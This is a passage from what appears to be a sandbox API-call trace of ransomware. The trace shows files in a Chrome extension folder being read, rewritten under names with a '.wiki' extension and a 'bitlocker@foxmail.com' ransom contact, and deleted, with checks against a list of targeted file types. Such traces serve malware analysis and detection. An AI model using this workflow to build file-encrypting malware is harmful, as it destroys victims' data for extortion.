lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.900] SetEndOfFile (hFile=0x1b4) returned 1 [0174.900] CloseHandle (hObject=0x1b4) returned 1 [0174.900] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.901] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png")) returned 1 [0174.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.901] lstrlenW (lpString=".doc") returned 4 [0174.901] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0174.901] lstrlenW (lpString=".docx") returned 5 [0174.901] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0174.901] lstrlenW (lpString=".pdf") returned 4 [0174.901] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0174.901] lstrlenW (lpString=".xls") returned 4 [0174.901] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0174.901] lstrlenW (lpString=".xlsx") returned 5 [0174.901] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0174.901] lstrlenW (lpString=".ppt") returned 4 [0174.901] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0174.901] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.901] lstrlenW (lpString=".zip") returned 4 [0174.901] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0174.901] lstrlenW (lpString=".rar") returned 4 [0174.901] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0174.902] lstrlenW (lpString=".bz2") returned 4 [0174.902] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0174.902] lstrlenW (lpString=".7z") returned 3 [0174.902] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0174.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.902] lstrlenW (lpString=".dbf") returned 4 [0174.902] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0174.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.902] lstrlenW (lpString=".1cd") returned 4 [0174.902] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0174.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.902] lstrlenW (lpString=".jpg") returned 4 [0174.902] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0174.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.902] lstrlenW (lpString=".doc") returned 4 [0174.902] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0174.902] lstrlenW (lpString=".docx") returned 5 [0174.902] lstrcmpiW (lpString1=".docx", lpString2="8.png") returned -1 [0174.902] lstrlenW (lpString=".pdf") returned 4 [0174.902] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0174.902] lstrlenW (lpString=".xls") returned 4 [0174.902] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0174.902] lstrlenW (lpString=".xlsx") returned 5 [0174.902] lstrcmpiW (lpString1=".xlsx", lpString2="8.png") returned -1 [0174.902] lstrlenW (lpString=".ppt") returned 4 [0174.902] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0174.902] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.902] lstrlenW (lpString=".zip") returned 4 [0174.902] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0174.902] lstrlenW (lpString=".rar") returned 4 [0174.903] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0174.903] lstrlenW (lpString=".bz2") returned 4 [0174.903] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0174.903] lstrlenW (lpString=".7z") returned 3 [0174.903] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0174.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.903] lstrlenW (lpString=".dbf") returned 4 [0174.903] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0174.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.903] lstrlenW (lpString=".1cd") returned 4 [0174.903] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0174.903] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_128.png") returned 138 [0174.903] lstrlenW (lpString=".jpg") returned 4 [0174.903] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0174.903] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0174.903] lstrlenW (lpString="icon_16.png") returned 11 [0174.903] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.904] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=157) returned 1 [0174.904] CloseHandle (hObject=0x1b4) returned 1 [0174.904] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png")) returned 0x2020 [0174.904] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.904] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.904] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.906] GetLastError () returned 0x0 [0174.906] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x9d, lpOverlapped=0x0) returned 1 [0174.907] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xa0, lpOverlapped=0x0) returned 1 [0174.908] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.908] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0174.908] SetEndOfFile (hFile=0x19c) returned 1 [0174.908] CloseHandle (hObject=0x19c) returned 1 [0174.908] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.908] SetEndOfFile (hFile=0x1b4) returned 1 [0174.909] CloseHandle (hObject=0x1b4) returned 1 [0174.909] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.909] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png")) returned 1 [0174.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.910] lstrlenW (lpString=".doc") returned 4 [0174.910] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0174.910] lstrlenW (lpString=".docx") returned 5 [0174.910] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0174.910] lstrlenW (lpString=".pdf") returned 4 [0174.910] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0174.910] lstrlenW (lpString=".xls") returned 4 [0174.910] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0174.910] lstrlenW (lpString=".xlsx") returned 5 [0174.910] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0174.910] lstrlenW (lpString=".ppt") returned 4 [0174.910] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0174.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.910] lstrlenW (lpString=".zip") returned 4 [0174.910] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0174.910] lstrlenW (lpString=".rar") returned 4 [0174.910] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0174.910] lstrlenW (lpString=".bz2") returned 4 [0174.910] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0174.910] lstrlenW (lpString=".7z") returned 3 [0174.910] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0174.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.910] lstrlenW (lpString=".dbf") returned 4 [0174.910] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0174.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.910] lstrlenW (lpString=".1cd") returned 4 [0174.910] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0174.910] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.911] lstrlenW (lpString=".jpg") returned 4 [0174.911] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0174.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.911] lstrlenW (lpString=".doc") returned 4 [0174.911] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0174.911] lstrlenW (lpString=".docx") returned 5 [0174.911] lstrcmpiW (lpString1=".docx", lpString2="6.png") returned -1 [0174.911] lstrlenW (lpString=".pdf") returned 4 [0174.911] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0174.911] lstrlenW (lpString=".xls") returned 4 [0174.911] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0174.911] lstrlenW (lpString=".xlsx") returned 5 [0174.911] lstrcmpiW (lpString1=".xlsx", lpString2="6.png") returned -1 [0174.911] lstrlenW (lpString=".ppt") returned 4 [0174.911] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0174.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.911] lstrlenW (lpString=".zip") returned 4 [0174.911] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0174.911] lstrlenW (lpString=".rar") returned 4 [0174.911] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0174.911] lstrlenW (lpString=".bz2") returned 4 [0174.911] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0174.911] lstrlenW (lpString=".7z") returned 3 [0174.911] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0174.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.911] lstrlenW (lpString=".dbf") returned 4 [0174.911] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0174.911] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.911] lstrlenW (lpString=".1cd") returned 4 [0174.912] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0174.912] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\icon_16.png") returned 137 [0174.912] lstrlenW (lpString=".jpg") returned 4 [0174.912] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0174.912] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0174.912] lstrlenW (lpString="main.html") returned 9 [0174.912] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.912] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=92) returned 1 [0174.912] CloseHandle (hObject=0x1b4) returned 1 [0174.912] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html")) returned 0x2020 [0174.913] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.913] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.913] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.913] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0174.913] GetLastError () returned 0x0 [0174.913] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x5c, lpOverlapped=0x0) returned 1 [0174.914] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0x60, lpOverlapped=0x0) returned 1 [0174.915] ReadFile (in: hFile=0x1b4, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.915] WriteFile (in: hFile=0x19c, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0174.915] SetEndOfFile (hFile=0x19c) returned 1 [0174.915] CloseHandle (hObject=0x19c) returned 1 [0174.915] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.915] SetEndOfFile (hFile=0x1b4) returned 1 [0174.916] CloseHandle (hObject=0x1b4) returned 1 [0174.916] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.916] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html")) returned 1 [0174.916] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.917] lstrlenW (lpString=".doc") returned 4 [0174.917] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0174.917] lstrlenW (lpString=".docx") returned 5 [0174.917] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0174.917] lstrlenW (lpString=".pdf") returned 4 [0174.917] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0174.917] lstrlenW (lpString=".xls") returned 4 [0174.917] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0174.917] lstrlenW (lpString=".xlsx") returned 5 [0174.917] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0174.917] lstrlenW (lpString=".ppt") returned 4 [0174.917] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0174.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.917] lstrlenW (lpString=".zip") returned 4 [0174.917] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0174.917] lstrlenW (lpString=".rar") returned 4 [0174.917] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0174.917] lstrlenW (lpString=".bz2") returned 4 [0174.917] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0174.917] lstrlenW (lpString=".7z") returned 3 [0174.917] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0174.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.917] lstrlenW (lpString=".dbf") returned 4 [0174.917] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0174.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.917] lstrlenW (lpString=".1cd") returned 4 [0174.917] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0174.917] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.917] lstrlenW (lpString=".jpg") returned 4 [0174.917] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0174.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.918] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\main.html") returned 135 [0174.918] lstrlenW (lpString=".doc") returned 4 [0174.918] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0174.918] lstrlenW (lpString=".docx") returned 5 [0174.918] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0174.918] lstrlenW (lpString=".pdf") returned 4 [0174.918] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0174.918] lstrlenW (lpString=".xls") returned 4 [0174.918] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0174.918] lstrlenW (lpString=".xlsx") returned 5 [0174.918] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0174.918] lstrlenW (lpString=".ppt") returned 4 [0174.918] 